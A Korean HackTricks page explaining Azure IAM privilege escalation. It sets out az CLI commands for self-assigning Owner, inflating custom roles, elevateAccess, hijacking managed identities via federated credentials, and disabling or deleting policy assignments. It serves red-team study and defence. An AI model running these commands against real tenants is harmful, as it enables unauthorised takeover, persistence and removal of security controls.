Az - Azure IAM Privesc (Authorization)

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Azure IAM

자세한 정보는 다음을 확인하세요:

Az - Entra ID (AzureAD) & Azure IAM

principal이 authorization 자체를 변경할 수 있게 하는 permissions는 일반적으로 privesc primitives입니다. 이는 특히 management group 또는 subscription scope에 부여될 때 위험한데, permissions가 자식 resources로 상속되기 때문입니다.

Microsoft.Authorization/roleAssignments/write

이 permission은 특정 scope에 role assignments를 생성할 수 있게 하며, 공격자가 자신 또는 자신이 통제하는 다른 principal에게 더 높은 권한의 role을 할당해 privileges를 escalate할 수 있게 합니다.

Typical flow:

# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"

손상된 principal이 scope에 대해 이 action을 가지고 있다면, 해당 scope에서 Owner, Contributor, Key Vault Secrets Officer 또는 그 밖의 사용 가능한 built-in/custom role과 같은 privileged role을 직접 부여할 수 있습니다:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

타깃 user/service principal/managed identity의 principal object ID만 알아도 새 role을 부여하는 데 충분합니다. 이는 다른 통제 가능한 principal에 role을 할당함으로써 self-privesc, lateral movement, 또는 persistence에 악용될 수 있습니다.

Microsoft.Authorization/roleDefinitions/write

이 permission은 custom role definition을 생성하거나 수정할 수 있게 합니다. 실제로 이는 위험한데, attacker가 다음을 할 수 있기 때문입니다:

  • 이미 compromised principal에 할당된 custom role을 수정하여, 새로운 permissions를 즉시 유효하게 만들 수 있습니다.
  • 새로 over-privileged custom role을 생성한 뒤 이를 할당할 수 있으며, 보통 Microsoft.Authorization/roleAssignments/write와 chaining됩니다.

Typical flow:

# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}

그런 다음 이전 정의를 호출하여 role permissions를 업데이트합니다:

az role definition update --role-definition role.json

수정된 role이 공격자에게 이미 할당되어 있다면, 새 role assignment를 만드는 것보다 더 빠른 경로가 될 수 있습니다. 왜냐하면 permission inflation이 기존 assignment에 적용되기 때문입니다.
공격자가 roleDefinitions/write만 가지고 있어도, 이미 compromise된 principal에 할당된 roles를 수정해서 이를 weaponize할 수 있습니다.

Microsoft.Authorization/elevateAccess/action

이 permissions는 privilege를 elevate하고 Azure resources에 대해 어떤 principal에게든 permissions를 assign할 수 있게 해줍니다. 이는 Entra ID Global Administrators에게 부여되어, Azure resources에 대한 permissions도 관리할 수 있게 하려는 목적입니다.

Tip

elevate call이 동작하려면 사용자가 Entrad ID에서 Global Administrator여야 하는 것 같습니다.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

이 권한은 user-assigned managed identities에 **Federated Identity Credentials (FICs)**를 생성/업데이트할 수 있게 합니다. 실제로는 공격자가 외부 identity provider에 새 trust relationship을 추가한 뒤, 그 managed identity로서 token을 얻을 수 있게 해줍니다.

이것은 persistence / identity hijacking primitive입니다: managed identity가 이미 Azure resources에 대한 access를 가지고 있다면, 공격자는 일치하는 외부 workload(예: GitHub Actions workflow)만 만들고 외부 token을 Azure token으로 교환하면 됩니다.

악용하기 전에 확인할 유용한 포인트:

  • 어떤 managed identity를 수정할 수 있는지
  • 그 managed identity에 이미 할당된 scope/roles는 무엇인지
  • token exchange 시 어떤 issuer, subject, audience가 허용되는지

전용 CLI command로 FIC를 생성할 수 있습니다:

az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"

또는 raw REST 사용.

managed identity에 GitHub repo 접근 권한을 부여하는 예시 command:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

FIC가 생성되면, 공격자는 external workload에서 인증하고 Azure에서 이미 부여된 managed identity 권한을 사용할 수 있습니다. GitHub OIDC / workload identity를 악용하는 방법에 대한 자세한 내용은 다음을 확인하세요:

Az Federation Abuse

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

management group, subscription, 또는 resource group에 대해 Microsoft.Authorization/policyAssignments/write 또는 Microsoft.Authorization/policyAssignments/delete 권한을 가진 공격자는 Azure policy assignments를 수정하거나 삭제할 수 있으며, 이를 통해 특정 작업을 차단하는 security restrictions를 비활성화할 수 있습니다.

이로 인해 이전에는 policy로 보호되던 리소스나 기능에 접근할 수 있게 됩니다.

policy assignment 삭제:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

policy assignment 비활성화:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

변경 사항을 확인하세요:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Microsoft.Authorization/policyDefinitions/write 권한이 있는 공격자는 Azure policy definitions를 수정하여 전체 환경에서 security restrictions를 제어하는 규칙을 변경할 수 있습니다.

예를 들어, 리소스 생성에 허용되는 region을 제한하는 policy를 수정하여 어떤 region이든 허용하도록 만들거나, policy effect를 변경하여 무력화할 수 있습니다.

policy definition 수정:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

변경 사항을 검증하세요:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Microsoft.Management/managementGroups/write 권한을 가진 공격자는 management groups의 계층 구조를 수정하거나 새 management groups를 생성할 수 있으며, 이로 인해 상위 수준에 적용된 제한적인 policy를 우회할 수 있습니다.

예를 들어, 공격자는 restrictive policies가 적용되지 않은 새로운 management group을 생성한 다음 subscriptions를 그쪽으로 이동할 수 있습니다.

새 management group 생성:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

관리 그룹 계층 구조 수정:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

변경 사항을 확인하세요:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Microsoft.Management/managementGroups/subscriptions/write 권한을 가진 attacker는 management groups 간에 subscriptions를 이동할 수 있으며, 이를 통해 더 느슨하거나 아예 policy가 없는 group으로 subscription을 옮겨 제한적인 policies를 우회할 수 있습니다.

subscription을 다른 management group으로 이동:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

변경 사항을 검증하세요:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

References

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기